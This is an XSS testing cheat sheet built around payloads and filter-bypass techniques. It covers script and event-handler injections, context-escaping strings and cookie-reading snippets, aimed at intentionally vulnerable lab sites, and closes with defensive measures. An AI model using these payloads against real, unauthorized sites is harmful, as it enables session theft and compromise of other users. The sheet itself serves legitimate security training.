XSS Quick Reference

Basic XSS Payloads

Standard Script Tags

```html
<script>alert('XSS Test')</script>
<script>alert(1)</script>
<ScRiPt>alert('XSS')</ScRiPt>
```

Image Tag with Error Event

```html
<img src=x onerror=alert('XSS')>
<img src=nonexistent onerror=alert(1)>
```

Event Handlers

```html
<body onload=alert('XSS')>
<input type=text onfocus=alert('XSS') autofocus>
<svg onload=alert('XSS')>
```

JavaScript Protocol

```javascript
javascript:alert('XSS')
javascript:alert('Testing')
```

Page Modification Payloads

Content Changes

```html
```

```
<!-- Change page title -->
<script>document.title='Security Test'</script>

<!-- Inject HTML content -->
<h1>XSS Demonstration</h1>

<!-- Basic DOM manipulation -->
<script>document.body.style.backgroundColor='red'</script>
```

Filter Bypass Techniques

Case Variations

```
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>
<script>ALERT('XSS')</script>
```

Alternative Tags

```
<svg/onload=alert('XSS')>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
```

Encoding

```
&#60;script&#62;alert('XSS')&#60;/script&#62;
%3Cscript%3Ealert('XSS')%3C/script%3E
```

Common Testing Targets

testphp.vulnweb.com URLs

```
```

```
# Main site
http://testphp.vulnweb.com

# Search functionality
http://testphp.vulnweb.com/search.php?test=PAYLOAD

# Artist page
http://testphp.vulnweb.com/artists.php?artist=PAYLOAD

# Guestbook (if available)
http://testphp.vulnweb.com/guestbook.php
```

Input Fields to Test

- Search boxes
- Contact forms
- Comment sections
- User profile fields
- URL parameters
- Guestbook entries

Testing Methodology

Step-by-Step Process

1. Find an input field
2. Submit basic XSS payload: `<script>alert(1)</script>`
3. Check if script executes
4. If blocked, try alternative payloads
5. Test different input fields on the site
6. Document working vectors

Signs of Vulnerability

- User input reflected without encoding
- Error messages contain unfiltered input

- URL parameters displayed on page
- Rich text editors allowing HTML

Troubleshooting

Script Doesn't Execute

- Try Firefox (less XSS protection)
- Check pop-up blocker settings
- Try different payload variations
- Verify input field accepts HTML

Site Issues

- testphp.vulnweb.com occasionally down
- Alternative sites: demo.testfire.net
- Try different browsers if needed
- Clear browser cache if problems persist

Filter Bypasses

- Mixed case: `<ScRiPt>`
- Event handlers: `<img src=x onerror=alert(1)>`
- JavaScript protocol: `javascript:alert(1)`
- Alternative tags: `<svg onload=alert(1)>`

Intermediate XSS Techniques

Stored vs Reflected XSS

```bash
# Reflected XSS - affects single user session
# Requires victim to click malicious link

# Stored XSS - affects every visitor
# Payload saved in database, executes automatically
# Test in guestbooks, comments, user profiles
```

Advanced Filter Bypasses

Mixed Case Bypass

```html
<ScRiPt>alert('Bypass')</ScRiPt>
<SCRIPT>alert('Bypass')</SCRIPT>
```

Event Handler Bypass

```html
<img src=x onerror=alert('Bypass')>
<div onmouseover=alert('Bypass')>Hover over me!</div>
<svg onload=alert('Bypass')>
<body onload=alert('Bypass')>
<iframe src=javascript:alert('Bypass')>
```

HTML Context Escaping

Escaping from Attributes

```html
<!-- If input reflected in attribute: -->
<!-- <input type="text" value="YOUR_INPUT_HERE"> -->

" onmouseover="alert('Escaped')" dummy="
```

Escaping from JavaScript Strings

```javascript
<!-- If input in JS string: -->
<!-- var message = "YOUR_INPUT_HERE"; -->

"; alert('Escaped'); var dummy="
```

Breaking out of Comments

```html
<!-- If input in HTML comments: -->
<!-- YOUR_INPUT_HERE -->

--><script>alert('Escaped')</script><!--
```

Session Cookie Access

```html
<!-- Display cookies (educational demonstration) -->
<script>alert('Session cookies: ' + document.cookie)</script>

<!-- Check for HTTPOnly protection -->
<script>
if(document.cookie) {
 alert('Cookies accessible: ' + document.cookie);
} else {
 alert('Cookies protected or empty');
}
</script>
```

Advanced Troubleshooting

Payload Gets Encoded

- Try double-encoding
- Use different encoding schemes (URL, HTML entities)
- Mix encoding types

Script Tags Blocked

- Try event handlers: `<img src=x onerror=alert(1)>`
- Use iframe srcdoc: `<iframe srcdoc="<script>alert(1)</script>">`
- Try data: URLs: `<iframe src="data:text/html,<script>alert(1)</script>">`

Quotes Filtered

- Use template literals: `<script>alert` XSS `</script>`

- Try String.fromCharCode(): `String.fromCharCode(88,83,83)`
- Use hex encoding: `\x58\x53\x53`

Parentheses Blocked

- Use template literals for function calls
- Try bracket notation: `alert[0]`

Testing Methodology for Stored XSS

1. Find input fields that save data (guestbooks, profiles, comments)
2. Submit basic payload: `<script>alert('Stored XSS')</script>`
3. Check if payload executes when page is reloaded
4. Test if payload affects other users
5. Document persistence and scope

Defense Recognition

Common Protections

- Input validation and sanitization
- Output encoding (HTML entities)
- Content Security Policy (CSP) headers
- HTTPOnly cookies (prevent JavaScript access)
- Browser XSS filters

What to Look For

- Missing output encoding
- Inconsistent input validation between fields
- User content without sanitization
- Client-side filtering only (easily bypassed)
- Missing CSP headers

Professional Testing Notes

- Test all input fields, not just obvious ones

- Check different contexts (attributes, JavaScript, comments)
- Verify if XSS affects other users (stored XSS)
- Test filter bypasses systematically
- Document which techniques work per application

Professional Usage Notes

- Always test on authorized targets only
- Use controlled lab environments like testphp.vulnweb.com
- Focus on vulnerability discovery and impact assessment
- Report findings responsibly to site owners
- Understand defensive measures to improve testing methodology